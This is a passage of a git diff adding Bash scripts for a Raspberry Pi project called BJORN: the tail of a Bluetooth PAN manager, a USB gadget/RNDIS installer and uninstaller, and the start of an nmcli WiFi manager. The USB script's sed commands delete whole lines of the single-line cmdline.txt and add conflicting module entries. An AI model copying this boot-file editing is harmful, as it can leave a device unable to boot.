Remove the systemd service file + if [ -f "$BT_SERVICE" ]; then + rm "$BT_SERVICE" + check_success "Removed $BT_SERVICE" + else + log "INFO" "$BT_SERVICE does not exist. Skipping removal." + fi + + # Remove the Python script + if [ -f "$BT_PY_SCRIPT" ]; then + rm "$BT_PY_SCRIPT" + check_success "Removed $BT_PY_SCRIPT" + else + log "INFO" "$BT_PY_SCRIPT does not exist. Skipping removal." + fi + + # Remove Bluetooth configuration directory and file + if [ -d "$SETTINGS_DIR" ]; then + rm -rf "$SETTINGS_DIR" + check_success "Removed settings directory at $SETTINGS_DIR" + else + log "INFO" "Settings directory $SETTINGS_DIR does not exist. Skipping removal." + fi + + # Reload systemd daemon + systemctl daemon-reload + check_success "Reloaded systemd daemon" + + log "SUCCESS" "Bluetooth PAN uninstallation completed successfully." +} + +# ============================================================ +# Function to List Bluetooth PAN Information +# ============================================================ +list_bluetooth_pan_info() { + echo -e "${CYAN}===== Bluetooth PAN Information =====${NC}" + + BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" + BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" + BT_CONFIG="/home/bjorn/.settings_bjorn/bt.json" + + # Check status of auto_bt_connect.service + echo -e "\n${YELLOW}Service Status:${NC}" + if systemctl list-units --type=service | grep -q auto_bt_connect.service; then + systemctl status auto_bt_connect.service --no-pager + else + echo -e "${RED}auto_bt_connect.service is not installed.${NC}" + fi + + # Check if Bluetooth auto-connect Python script exists + echo -e "\n${YELLOW}Bluetooth Auto-Connect Script:${NC}" + if [ -f "$BT_PY_SCRIPT" ]; then + echo -e "${GREEN}$BT_PY_SCRIPT exists.${NC}" + else + echo -e "${RED}$BT_PY_SCRIPT does not exist.${NC}" + fi + + # Check Bluetooth configuration file + echo -e "\n${YELLOW}Bluetooth Configuration File:${NC}" + if [ -f "$BT_CONFIG" ]; then + echo -e "${GREEN}$BT_CONFIG exists.${NC}" + echo -e "${CYAN}Contents:${NC}" + cat "$BT_CONFIG" + else + echo -e "${RED}$BT_CONFIG does not exist.${NC}" + fi + + echo -e "\n===== End of Information =====" +} + +# ============================================================ +# Function to Display the Main Menu +# ============================================================ +display_main_menu() { + while true; do + clear + echo -e "${BLUE}╔════════════════════════════════════════╗${NC}" + echo -e "${BLUE}║ Bluetooth PAN Manager Menu ║${NC}" + echo -e "${BLUE}╠════════════════════════════════════════╣${NC}" + echo -e "${BLUE}║${NC} 1. Install Bluetooth PAN ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 2. Uninstall Bluetooth PAN ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 3. List Bluetooth PAN Information ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 4. Show Help ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 5. Exit ${BLUE}║${NC}" + echo -e "${BLUE}╚════════════════════════════════════════╝${NC}" + echo -e "Note: Ensure you run this script as root." + echo -e "${YELLOW}Usage: $0 [OPTIONS] (use -h for help)${NC}" + echo -n -e "${GREEN}Please choose an option (1-5): ${NC}" + read choice + + case $choice in + 1) + install_bluetooth_pan + echo "" + read -p "Press Enter to return to the menu..." + ;; + 2) + uninstall_bluetooth_pan + echo "" + read -p "Press Enter to return to the menu..." + ;; + 3) + list_bluetooth_pan_info + echo "" + read -p "Press Enter to return to the menu..." + ;; + 4) + show_usage + ;; + 5) + log "INFO" "Exiting Bluetooth PAN Manager. Goodbye!" + exit 0 + ;; + *) + log "ERROR" "Invalid option. Please choose between 1-5." + sleep 2 + ;; + esac + done +} + +# ============================================================ +# Process Command Line Arguments +# ============================================================ +while getopts ":fulh" opt; do + case $opt in + f) + install_bluetooth_pan + exit 0 + ;; + u) + uninstall_bluetooth_pan + exit 0 + ;; + l) + list_bluetooth_pan_info + exit 0 + ;; + h) + show_usage + ;; + \?) + echo -e "${RED}Invalid option: -$OPTARG${NC}" >&2 + show_usage + ;; + esac +done + +# ============================================================ +# Main Execution +# ============================================================ +# If no arguments are provided, display the menu +if [ $OPTIND -eq 1 ]; then + display_main_menu +fi diff --git a/bjorn_usb_gadget.sh b/bjorn_usb_gadget.sh new file mode 100644 index 0000000..08825f4 --- /dev/null +++ b/bjorn_usb_gadget.sh @@ -0,0 +1,567 @@ +#!/bin/bash +# bjorn_usb_gadget.sh +# Script to configure USB Gadget for BJORN +# Usage: ./bjorn_usb_gadget.sh -f +# ./bjorn_usb_gadget.sh -u +# ./bjorn_usb_gadget.sh -l +# ./bjorn_usb_gadget.sh -h +# Author: Infinition +# Version: 1.4 +# Description: This script configures and manages USB Gadget for BJORN with duplicate prevention + +# ============================================================ +# Colors for Output +# ============================================================ +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +# ============================================================ +# Logging Configuration +# ============================================================ +LOG_DIR="/var/log/bjorn_install" +LOG_FILE="$LOG_DIR/bjorn_usb_gadget_$(date +%Y%m%d_%H%M%S).log" + +# Ensure log directory exists +mkdir -p "$LOG_DIR" + +# ============================================================ +# Logging Function +# ============================================================ +log() { + local level=$1 + shift + local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*" + echo -e "$message" | tee -a "$LOG_FILE" + case $level in + "ERROR") echo -e "${RED}$message${NC}" ;; + "SUCCESS") echo -e "${GREEN}$message${NC}" ;; + "WARNING") echo -e "${YELLOW}$message${NC}" ;; + "INFO") echo -e "${BLUE}$message${NC}" ;; + *) echo -e "$message" ;; + esac +} + +# ============================================================ +# Error Handling +# ============================================================ +handle_error() { + local error_message=$1 + log "ERROR" "$error_message" + exit 1 +} + +# ============================================================ +# Function to Check Command Success +# ============================================================ +check_success() { + if [ $? -eq 0 ]; then + log "SUCCESS" "$1" + return 0 + else + handle_error "$1" + return $? + fi +} + +# ============================================================ +# Function to Show Usage +# ============================================================ + +show_usage() { + echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}" + echo -e "Options:" + echo -e " ${BLUE}-f${NC} Install USB Gadget" + echo -e " ${BLUE}-u${NC} Uninstall USB Gadget" + echo -e " ${BLUE}-l${NC} List USB Gadget Information" + echo -e " ${BLUE}-h${NC} Show this help message" + echo -e "" + echo -e "Example:" + echo -e " $0 -f Install USB Gadget" + echo -e " $0 -u Uninstall USB Gadget" + echo -e " $0 -l List USB Gadget Information" + echo -e " $0 -h Show help" + echo -e "" + echo -e "${YELLOW}===== RNDIS Configuration Procedure =====${NC}" + echo -e "To configure the RNDIS driver and set the IP address, subnet mask, and gateway for the RNDIS network interface card, follow the steps below:" + echo -e "" + echo -e "1. **Configure IP Address on the Server (Pi):**" + echo -e " - The default IP address is set in the script as follows:" + echo -e " - IP: 172.20.2.1" + echo -e " - Subnet Mask: 255.255.255.0" + echo -e " - Gateway: 172.20.2.1" + echo -e "" + echo -e "2. **Configure IP Address on the Host Computer:**" + echo -e " - On your host computer (Windows, Linux, etc.), configure the RNDIS network interface to use an IP address in the same subnet. For example:" + echo -e " - IP: 172.20.2.2" + echo -e " - Subnet Mask: 255.255.255.0" + echo -e " - Gateway: 172.20.2.1" + echo -e "" + echo -e "3. **Restart the Service:**" + echo -e " - After installing the USB gadget, restart the service to apply the changes:" + echo -e " ```bash" + echo -e " sudo systemctl restart usb-gadget.service" + echo -e " ```" + echo -e "" + echo -e "4. **Verify the Connection:**" + echo -e " - Ensure that the RNDIS network interface is active on both devices." + echo -e " - Test connectivity by pinging the IP address of the other device." + echo -e " - From the Pi: \`ping 172.20.2.2\`" + echo -e " - From the host computer: \`ping 172.20.2.1\`" + echo -e "" + echo -e "===== End of Procedure =====${NC}" + exit 1 +} + +# ============================================================ +# Function to Install USB Gadget with RNDIS +# ============================================================ +install_usb_gadget() { + log "INFO" "Starting USB Gadget installation..." + + # Ensure the script is run as root + if [ "$(id -u)" -ne 0 ]; then + log "ERROR" "This script must be run as root. Please use 'sudo'." + exit 1 + fi + + # Backup cmdline.txt and config.txt if not already backed up + if [ ! -f /boot/firmware/cmdline.txt.bak ]; then + cp /boot/firmware/cmdline.txt /boot/firmware/cmdline.txt.bak + check_success "Backed up /boot/firmware/cmdline.txt to /boot/firmware/cmdline.txt.bak" + else + log "INFO" "/boot/firmware/cmdline.txt.bak already exists. Skipping backup." + fi + + if [ ! -f /boot/firmware/config.txt.bak ]; then + cp /boot/firmware/config.txt /boot/firmware/config.txt.bak + check_success "Backed up /boot/firmware/config.txt to /boot/firmware/config.txt.bak" + else + log "INFO" "/boot/firmware/config.txt.bak already exists. Skipping backup." + fi + + # Modify cmdline.txt: Remove existing modules-load entries related to dwc2 + log "INFO" "Cleaning up existing modules-load entries in /boot/firmware/cmdline.txt" + sudo sed -i '/modules-load=dwc2,g_rndis/d' /boot/firmware/cmdline.txt + sudo sed -i '/modules-load=dwc2,g_ether/d' /boot/firmware/cmdline.txt + check_success "Removed duplicate modules-load entries from /boot/firmware/cmdline.txt" + + # Add a single modules-load=dwc2,g_rndis if not present + if ! grep -q "modules-load=dwc2,g_rndis" /boot/firmware/cmdline.txt; then + sudo sed -i 's/rootwait/rootwait modules-load=dwc2,g_rndis/' /boot/firmware/cmdline.txt + check_success "Added modules-load=dwc2,g_rndis to /boot/firmware/cmdline.txt" + else + log "INFO" "modules-load=dwc2,g_rndis already present in /boot/firmware/cmdline.txt" + fi + + # Add a single modules-load=dwc2,g_ether if not present + if ! grep -q "modules-load=dwc2,g_ether" /boot/firmware/cmdline.txt; then + sudo sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /boot/firmware/cmdline.txt + check_success "Added modules-load=dwc2,g_ether to /boot/firmware/cmdline.txt" + else + log "INFO" "modules-load=dwc2,g_ether already present in /boot/firmware/cmdline.txt" + fi + + # Modify config.txt: Remove duplicate dtoverlay=dwc2 entries + log "INFO" "Cleaning up existing dtoverlay=dwc2 entries in /boot/firmware/config.txt" + sudo sed -i '/^dtoverlay=dwc2$/d' /boot/firmware/config.txt + check_success "Removed duplicate dtoverlay=dwc2 entries from /boot/firmware/config.txt" + + # Append a single dtoverlay=dwc2 if not present + if ! grep -q "^dtoverlay=dwc2$" /boot/firmware/config.txt; then + echo "dtoverlay=dwc2" | sudo tee -a /boot/firmware/config.txt + check_success "Appended dtoverlay=dwc2 to /boot/firmware/config.txt" + else + log "INFO" "dtoverlay=dwc2 already present in /boot/firmware/config.txt" + fi + + # Create USB gadget script + if [ ! -f /usr/local/bin/usb-gadget.sh ]; then + log "INFO" "Creating USB gadget script at /usr/local/bin/usb-gadget.sh" + cat > /usr/local/bin/usb-gadget.sh << 'EOF' +#!/bin/bash +set -e + +# Enable debug mode for detailed logging +set -x + +modprobe libcomposite +cd /sys/kernel/config/usb_gadget/ +mkdir -p g1 +cd g1 + +echo 0x1d6b > idVendor +echo 0x0104 > idProduct +echo 0x0100 > bcdDevice +echo 0x0200 > bcdUSB + +mkdir -p strings/0x409 +echo "fedcba9876543210" > strings/0x409/serialnumber +echo "Raspberry Pi" > strings/0x409/manufacturer +echo "Pi Zero USB" > strings/0x409/product + +mkdir -p configs/c.1/strings/0x409 +echo "Config 1: RNDIS Network" > configs/c.1/strings/0x409/configuration +echo 250 > configs/c.1/MaxPower + +mkdir -p functions/rndis.usb0 + +# Remove existing symlink if it exists to prevent duplicates +if [ -L configs/c.1/rndis.usb0 ]; then + rm configs/c.1/rndis.usb0 +fi +ln -s functions/rndis.usb0 configs/c.1/ + +# Ensure the device is not busy before listing available USB device controllers +max_retries=10 +retry_count=0 + +while ! ls /sys/class/udc > UDC 2>/dev/null; do + if [ $retry_count -ge $max_retries ]; then + echo "Error: Device or resource busy after $max_retries attempts." + exit 1 + fi + retry_count=$((retry_count + 1)) + sleep 1 +done + +# Assign the USB Device Controller (UDC) +UDC_NAME=$(ls /sys/class/udc) +echo "$UDC_NAME" > UDC +echo "Assigned UDC: $UDC_NAME" + +# Check if the usb0 interface is already configured +if ! ip addr show usb0 | grep -q "172.20.2.1"; then + ifconfig usb0 172.20.2.1 netmask 255.255.255.0 + echo "Configured usb0 with IP 172.20.2.1" +else + echo "Interface usb0 already configured." +fi +EOF + + chmod +x /usr/local/bin/usb-gadget.sh + check_success "Created and made USB gadget script executable at /usr/local/bin/usb-gadget.sh" + else + log "INFO" "USB gadget script /usr/local/bin/usb-gadget.sh already exists. Skipping creation." + fi + + # Create USB gadget service + if [ ! -f /etc/systemd/system/usb-gadget.service ]; then + log "INFO" "Creating USB gadget systemd service at /etc/systemd/system/usb-gadget.service" + cat > /etc/systemd/system/usb-gadget.service << EOF +[Unit] +Description=USB Gadget Service +After=network.target + +[Service] +ExecStartPre=/sbin/modprobe libcomposite +ExecStart=/usr/local/bin/usb-gadget.sh +Type=simple +RemainAfterExit=yes + +[Install] +WantedBy=multi-user.target +EOF + check_success "Created USB gadget systemd service at /etc/systemd/system/usb-gadget.service" + else + log "INFO" "USB gadget systemd service /etc/systemd/system/usb-gadget.service already exists. Skipping creation." + fi + + # Configure network interface: Remove duplicate entries first + log "INFO" "Cleaning up existing network interface configurations for usb0 in /etc/network/interfaces" + if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then + # Remove all lines starting with allow-hotplug usb0 and the following lines (iface and settings) + sudo sed -i '/^allow-hotplug usb0$/,/^$/d' /etc/network/interfaces + check_success "Removed existing network interface configurations for usb0 from /etc/network/interfaces" + else + log "INFO" "No existing network interface configuration for usb0 found in /etc/network/interfaces." + fi + + # Append network interface configuration for usb0 if not already present + if ! grep -q "^allow-hotplug usb0" /etc/network/interfaces; then + log "INFO" "Appending network interface configuration for usb0 to /etc/network/interfaces" + cat >> /etc/network/interfaces << EOF + +allow-hotplug usb0 +iface usb0 inet static + address 172.20.2.1 + netmask 255.255.255.0 + gateway 172.20.2.1 +EOF + check_success "Appended network interface configuration for usb0 to /etc/network/interfaces" + else + log "INFO" "Network interface usb0 already configured in /etc/network/interfaces" + fi + + # Reload systemd daemon and enable/start services + log "INFO" "Reloading systemd daemon" + systemctl daemon-reload + check_success "Reloaded systemd daemon" + + log "INFO" "Enabling systemd-networkd service" + systemctl enable systemd-networkd + check_success "Enabled systemd-networkd service" + + log "INFO" "Enabling usb-gadget service" + systemctl enable usb-gadget.service + check_success "Enabled usb-gadget service" + + log "INFO" "Starting systemd-networkd service" + systemctl start systemd-networkd + check_success "Started systemd-networkd service" + + log "INFO" "Starting usb-gadget service" + systemctl start usb-gadget.service + check_success "Started usb-gadget service" + + log "SUCCESS" "USB Gadget installation completed successfully." +} + +# ============================================================ +# Function to Uninstall USB Gadget +# ============================================================ +uninstall_usb_gadget() { + log "INFO" "Starting USB Gadget uninstallation..." + + # Ensure the script is run as root + if [ "$(id -u)" -ne 0 ]; then + log "ERROR" "This script must be run as root. Please use 'sudo'." + exit 1 + fi + + # Stop and disable USB gadget service + if systemctl is-active --quiet usb-gadget.service; then + systemctl stop usb-gadget.service + check_success "Stopped usb-gadget.service" + else + log "INFO" "usb-gadget.service is not running." + fi + + if systemctl is-enabled --quiet usb-gadget.service; then + systemctl disable usb-gadget.service + check_success "Disabled usb-gadget.service" + else + log "INFO" "usb-gadget.service is not enabled." + fi + + # Remove USB gadget service file + if [ -f /etc/systemd/system/usb-gadget.service ]; then + rm /etc/systemd/system/usb-gadget.service + check_success "Removed /etc/systemd/system/usb-gadget.service" + else + log "INFO" "/etc/systemd/system/usb-gadget.service does not exist. Skipping removal." + fi + + # Remove USB gadget script + if [ -f /usr/local/bin/usb-gadget.sh ]; then + rm /usr/local/bin/usb-gadget.sh + check_success "Removed /usr/local/bin/usb-gadget.sh" + else + log "INFO" "/usr/local/bin/usb-gadget.sh does not exist. Skipping removal." + fi + + # Restore cmdline.txt and config.txt from backups + if [ -f /boot/firmware/cmdline.txt.bak ]; then + cp /boot/firmware/cmdline.txt.bak /boot/firmware/cmdline.txt + chmod 644 /boot/firmware/cmdline.txt + check_success "Restored /boot/firmware/cmdline.txt from backup" + else + log "WARNING" "Backup /boot/firmware/cmdline.txt.bak not found. Skipping restoration." + fi + + if [ -f /boot/firmware/config.txt.bak ]; then + cp /boot/firmware/config.txt.bak /boot/firmware/config.txt + check_success "Restored /boot/firmware/config.txt from backup" + else + log "WARNING" "Backup /boot/firmware/config.txt.bak not found. Skipping restoration." + fi + + # Remove network interface configuration for usb0: Remove all related lines + if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then + log "INFO" "Removing network interface configuration for usb0 from /etc/network/interfaces" + # Remove lines from allow-hotplug usb0 up to the next empty line + sudo sed -i '/^allow-hotplug usb0$/,/^$/d' /etc/network/interfaces + check_success "Removed network interface configuration for usb0 from /etc/network/interfaces" + else + log "INFO" "Network interface usb0 not found in /etc/network/interfaces. Skipping removal." + fi + + # Reload systemd daemon + log "INFO" "Reloading systemd daemon" + systemctl daemon-reload + check_success "Reloaded systemd daemon" + + # Disable and stop systemd-networkd service + if systemctl is-active --quiet systemd-networkd; then + systemctl stop systemd-networkd + check_success "Stopped systemd-networkd service" + else + log "INFO" "systemd-networkd service is not running." + fi + + if systemctl is-enabled --quiet systemd-networkd; then + systemctl disable systemd-networkd + check_success "Disabled systemd-networkd service" + else + log "INFO" "systemd-networkd service is not enabled." + fi + + # Clean up any remaining duplicate entries in cmdline.txt and config.txt + log "INFO" "Ensuring no duplicate entries remain in configuration files." + + # Remove any remaining modules-load=dwc2,g_rndis and modules-load=dwc2,g_ether + sudo sed -i '/modules-load=dwc2,g_rndis/d' /boot/firmware/cmdline.txt + sudo sed -i '/modules-load=dwc2,g_ether/d' /boot/firmware/cmdline.txt + + # Remove any remaining dtoverlay=dwc2 + sudo sed -i '/^dtoverlay=dwc2$/d' /boot/firmware/config.txt + + log "INFO" "Cleaned up duplicate entries in /boot/firmware/cmdline.txt and /boot/firmware/config.txt" + + log "SUCCESS" "USB Gadget uninstallation completed successfully." +} + +# ============================================================ +# Function to List USB Gadget Information +# ============================================================ +list_usb_gadget_info() { + echo -e "${CYAN}===== USB Gadget Information =====${NC}" + + # Check status of usb-gadget service + echo -e "\n${YELLOW}Service Status:${NC}" + if systemctl list-units --type=service | grep -q usb-gadget.service; then + systemctl status usb-gadget.service --no-pager + else + echo -e "${RED}usb-gadget.service is not installed.${NC}" + fi + + # Check if USB gadget script exists + echo -e "\n${YELLOW}USB Gadget Script:${NC}" + if [ -f /usr/local/bin/usb-gadget.sh ]; then + echo -e "${GREEN}/usr/local/bin/usb-gadget.sh exists.${NC}" + else + echo -e "${RED}/usr/local/bin/usb-gadget.sh does not exist.${NC}" + fi + + # Check network interface configuration + echo -e "\n${YELLOW}Network Interface Configuration for usb0:${NC}" + if grep -q "^allow-hotplug usb0" /etc/network/interfaces; then + grep "^allow-hotplug usb0" /etc/network/interfaces -A 4 + else + echo -e "${RED}No network interface configuration found for usb0.${NC}" + fi + + # Check cmdline.txt + echo -e "\n${YELLOW}/boot/firmware/cmdline.txt:${NC}" + if grep -q "modules-load=dwc2,g_rndis" /boot/firmware/cmdline.txt && grep -q "modules-load=dwc2,g_ether" /boot/firmware/cmdline.txt; then + echo -e "${GREEN}modules-load=dwc2,g_rndis and modules-load=dwc2,g_ether are present.${NC}" + else + echo -e "${RED}modules-load=dwc2,g_rndis and/or modules-load=dwc2,g_ether are not present.${NC}" + fi + + # Check config.txt + echo -e "\n${YELLOW}/boot/firmware/config.txt:${NC}" + if grep -q "^dtoverlay=dwc2" /boot/firmware/config.txt; then + echo -e "${GREEN}dtoverlay=dwc2 is present.${NC}" + else + echo -e "${RED}dtoverlay=dwc2 is not present.${NC}" + fi + + # Check if systemd-networkd is enabled + echo -e "\n${YELLOW}systemd-networkd Service:${NC}" + if systemctl is-enabled --quiet systemd-networkd; then + systemctl is-active systemd-networkd && echo -e "${GREEN}systemd-networkd is active.${NC}" || echo -e "${RED}systemd-networkd is inactive.${NC}" + else + echo -e "${RED}systemd-networkd is not enabled.${NC}" + fi + + echo -e "\n===== End of Information =====" +} + +# ============================================================ +# Function to Display the Main Menu +# ============================================================ +display_main_menu() { + while true; do + clear + echo -e "${BLUE}╔════════════════════════════════════════╗${NC}" + echo -e "${BLUE}║ USB Gadget Manager Menu by Infinition ║${NC}" + echo -e "${BLUE}╠════════════════════════════════════════╣${NC}" + echo -e "${BLUE}║${NC} 1. Install USB Gadget ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 2. Uninstall USB Gadget ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 3. List USB Gadget Information ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 4. Show Help ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 5. Exit ${BLUE}║${NC}" + echo -e "${BLUE}╚════════════════════════════════════════╝${NC}" + echo -e "Note: Ensure you run this script as root." + echo -e "${YELLOW}Usage: $0 [OPTIONS] (use -h for help)${NC}" + echo -n -e "${GREEN}Please choose an option (1-5): ${NC}" + read choice + + case $choice in + 1) + install_usb_gadget + echo "" + read -p "Press Enter to return to the menu..." + ;; + 2) + uninstall_usb_gadget + echo "" + read -p "Press Enter to return to the menu..." + ;; + 3) + list_usb_gadget_info + echo "" + read -p "Press Enter to return to the menu..." + ;; + 4) + show_usage + ;; + 5) + log "INFO" "Exiting USB Gadget Manager. Goodbye!" + exit 0 + ;; + *) + log "ERROR" "Invalid option. Please choose between 1-5." + sleep 2 + ;; + esac + done +} + +# ============================================================ +# Process Command Line Arguments +# ============================================================ +while getopts ":fulh" opt; do + case $opt in + f) + install_usb_gadget + exit 0 + ;; + u) + uninstall_usb_gadget + exit 0 + ;; + l) + list_usb_gadget_info + exit 0 + ;; + h) + show_usage + ;; + \?) + echo -e "${RED}Invalid option: -$OPTARG${NC}" >&2 + show_usage + ;; + esac +done + +# ============================================================ +# Main Execution +# ============================================================ +# If no arguments are provided, display the menu +if [ $OPTIND -eq 1 ]; then + display_main_menu +fi diff --git a/bjorn_wifi.sh b/bjorn_wifi.sh new file mode 100644 index 0000000..fa26ac6 --- /dev/null +++ b/bjorn_wifi.sh @@ -0,0 +1,786 @@ +#!/bin/bash + +# WiFi Manager Script Using nmcli +# Author: Infinition +# Version: 1.6 +# Description: This script provides a simple menu interface to manage WiFi connections using nmcli. + +# ============================================================ +# Colors for Output +# ============================================================ +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +PURPLE='\033[0;35m' +CYAN='\033[0;36m' +NC='\033[0m' # No Color + +# ============================================================ +# Logging Function +# ============================================================ +log() { + local level=$1 + shift + case $level in + "INFO") echo -e "${GREEN}[INFO]${NC} $*" ;; + "WARN") echo -e "${YELLOW}[WARN]${NC} $*" ;; + "ERROR") echo -e "${RED}[ERROR]${NC} $*" ;; + "DEBUG") echo -e "${BLUE}[DEBUG]${NC} $*" ;; + esac +} + +# ============================================================ +# Check if Script is Run as Root +# ============================================================ +if [ "$EUID" -ne 0 ]; then + log "ERROR" "This script must be run as root." + exit 1 +fi + +# ============================================================ +# Function to Show Usage +# ============================================================ +show_usage() { + echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}" + echo -e "Options:" + echo -e " ${BLUE}-h${NC} Show this help message" + echo -e " ${BLUE}-f${NC} Force refresh of WiFi connections" + echo -e " ${BLUE}-c${NC} Clear all saved WiFi connections" + echo -e " ${BLUE}-l${NC} List all available WiFi networks" + echo -e " ${BLUE}-s${NC} Show current WiFi status" + echo -e " ${BLUE}-a${NC} Add a new WiFi connection" + echo -e " ${BLUE}-d${NC} Delete a WiFi connection" + echo -e " ${BLUE}-m${NC} Manage WiFi Connections" + echo -e "" + echo -e "Example: $0 -a" + exit 1 +} + +# ============================================================ +# Function to Check Prerequisites +# ============================================================ +check_prerequisites() { + log "INFO" "Checking prerequisites..." + + local missing_packages=() + + # Check if nmcli is installed + if ! command -v nmcli &> /dev/null; then + missing_packages+=("network-manager") + fi + + # Check if NetworkManager service is running + if ! systemctl is-active --quiet NetworkManager; then + log "WARN" "NetworkManager service is not running. Attempting to start it..." + systemctl start NetworkManager + sleep 2 + if ! systemctl is-active --quiet NetworkManager; then + log "ERROR" "Failed to start NetworkManager. Please install and start it manually." + exit 1 + else + log "INFO" "NetworkManager started successfully." + fi + fi + + # Install missing packages if any + if [ ${#missing_packages[@]} -gt 0 ]; then + log "WARN" "Missing packages: ${missing_packages[*]}" + log "INFO" "Attempting to install missing packages..." + apt-get update + apt-get install -y "${missing_packages[@]}" + + # Verify installation + for package in "${missing_packages[@]}"; do + if ! dpkg -l | grep -q "^ii.*$package"; then + log "ERROR" "Failed to install $package." + exit 1 + fi + done + fi + + log "INFO" "All prerequisites are met." +} + +# ============================================================ +# Function to Handle preconfigured.nmconnection +# ============================================================ +handle_preconfigured_connection() { + preconfigured_file="/etc/NetworkManager/system-connections/preconfigured.nmconnection" + + if [ -f "$preconfigured_file" ]; then + echo -e "${YELLOW}A preconfigured WiFi connection exists (preconfigured.nmconnection).${NC}" + echo -n -e "${GREEN}Do you want to delete it and recreate connections with individual SSIDs? (y/n): ${NC}" + read confirm + + if [[ "$confirm" =~ ^[Yy]$ ]]; then + # Extract SSID from preconfigured.nmconnection + ssid=$(grep "^ssid=" "$preconfigured_file" | cut -d'=' -f2 | tr -d '"') + if [ -z "$ssid" ]; then + log "WARN" "SSID not found in preconfigured.nmconnection. Cannot recreate connection." + else + # Extract security type + security=$(grep "^security=" "$preconfigured_file" | cut -d'=' -f2 | tr -d '"') + + # Delete preconfigured.nmconnection + log "INFO" "Deleting preconfigured.nmconnection..." + rm "$preconfigured_file" + systemctl restart NetworkManager + sleep 2 + + # Recreate the connection with SSID name + echo -n -e "${GREEN}Do you want to recreate the connection for SSID '$ssid'? (y/n): ${NC}" + read recreate_confirm + + if [[ "$recreate_confirm" =~ ^[Yy]$ ]]; then + # Check if connection already exists + if nmcli connection show "$ssid" &> /dev/null; then + log "WARN" "A connection named '$ssid' already exists." + else + # Prompt for password if necessary + if [ "$security" == "none" ] || [ "$security" == "--" ] || [ -z "$security" ]; then + # Open network + log "INFO" "Creating open connection for SSID '$ssid'..." + nmcli device wifi connect "$ssid" name "$ssid" + else + # Secured network + echo -n -e "${GREEN}Enter WiFi Password for '$ssid': ${NC}" + read -s password + echo "" + if [ -z "$password" ]; then + log "ERROR" "Password cannot be empty." + else + log "INFO" "Creating secured connection for SSID '$ssid'..." + nmcli device wifi connect "$ssid" password "$password" name "$ssid" + fi + fi + + if [ $? -eq 0 ]; then + log "INFO" "Successfully recreated connection for '$ssid'." + else + log "ERROR" "Failed to recreate connection for '$ssid'." + fi + fi + else + log "INFO" "Connection recreation cancelled." + fi + fi + else + log "INFO" "Preconfigured connection retained." + fi + fi +} + +# ============================================================ +# Function to List All Available WiFi Networks and Connect +# ============================================================ +list_wifi_and_connect() { + log "INFO" "Scanning for available WiFi networks..." + nmcli device wifi rescan + sleep 2 + + while true; do + clear + available_networks=$(nmcli -t -f SSID,SECURITY device wifi list) + + if [ -z "$available_networks" ]; then + log "WARN" "No WiFi networks found." + echo "" + else + # Remove lines with empty SSIDs (hidden networks) + network_list=$(echo "$available_networks" | grep -v '^:$') + + if [ -z "$network_list" ]; then + log "WARN" "No visible WiFi networks found." + echo "" + else + echo -e "${CYAN}Available WiFi Networks:${NC}" + declare -A SSIDs + declare -A SECURITIES + index=1 + + while IFS=: read -r ssid security; do + # Handle hidden SSIDs + if [ -z "$ssid" ]; then + ssid="" + fi + SSIDs["$index"]="$ssid" + SECURITIES["$index"]="$security" + printf "%d. %-40s (%s)\n" "$index" "$ssid" "$security" + index=$((index + 1)) + done <<< "$network_list" + fi + fi + + echo "" + echo -e "${YELLOW}The list will refresh every 5 seconds. Press 'c' to connect, enter a number to connect, or 'q' to quit.${NC}" + echo -n -e "${GREEN}Enter choice (number/c/q): ${NC}" + read -t 5 input + + if [ $? -eq 0 ]; then + if [[ "$input" =~ ^[Qq]$ ]]; then + log "INFO" "Exiting WiFi list." + return + elif [[ "$input" =~ ^[Cc]$ ]]; then + # Handle connection via 'c' + echo "" + echo -n -e "${GREEN}Enter the number of the network to connect: ${NC}" + read selection + + if [[ -z "$selection" ]]; then + log "INFO" "Operation cancelled." + continue + fi + + # Validate selection + if ! [[ "$selection" =~ ^[0-9]+$ ]]; then + log "ERROR" "Invalid selection. Please enter a valid number." + sleep 2 + continue + fi + + max_index=$((index - 1)) + if [ "$selection" -lt 1 ] || [ "$selection" -gt "$max_index" ]; then + log "ERROR" "Invalid selection. Please enter a number between 1 and $max_index." + sleep 2 + continue + fi + + ssid_selected="${SSIDs[$selection]}" + security_selected="${SECURITIES[$selection]}" + + echo -n -e "${GREEN}Do you want to connect to '$ssid_selected'? (y/n): ${NC}" + read confirm + + if [[ "$confirm" =~ ^[Yy]$ ]]; then + if [ "$security_selected" == "--" ] || [ -z "$security_selected" ]; then + # Open network + log "INFO" "Connecting to open network '$ssid_selected'..." + nmcli device wifi connect "$ssid_selected" name "$ssid_selected" + else + # Secured network + echo -n -e "${GREEN}Enter WiFi Password for '$ssid_selected': ${NC}" + read -s password + echo "" + if [ -z "$password" ]; then + log "ERROR" "Password cannot be empty." + sleep 2 + continue + fi + log "INFO" "Connecting to '$ssid_selected'..." + nmcli device wifi connect "$ssid_selected" password "$password" name "$ssid_selected" + fi + + if [ $? -eq 0 ]; then + log "INFO" "Successfully connected to '$ssid_selected'." + else + log "ERROR" "Failed to connect to '$ssid_selected'." + fi + else + log "INFO" "Operation cancelled." + fi + + echo "" + read -p "Press Enter to continue..." + elif [[ "$input" =~ ^[0-9]+$ ]]; then + # Handle connection via number + selection="$input" + + # Validate selection + if ! [[ "$selection" =~ ^[0-9]+$ ]]; then + log "ERROR" "Invalid selection. Please enter a valid number." + sleep 2 + continue + fi + + max_index=$((index - 1)) + if [ "$selection" -lt 1 ] || [ "$selection" -gt "$max_index" ]; then + log "ERROR" "Invalid 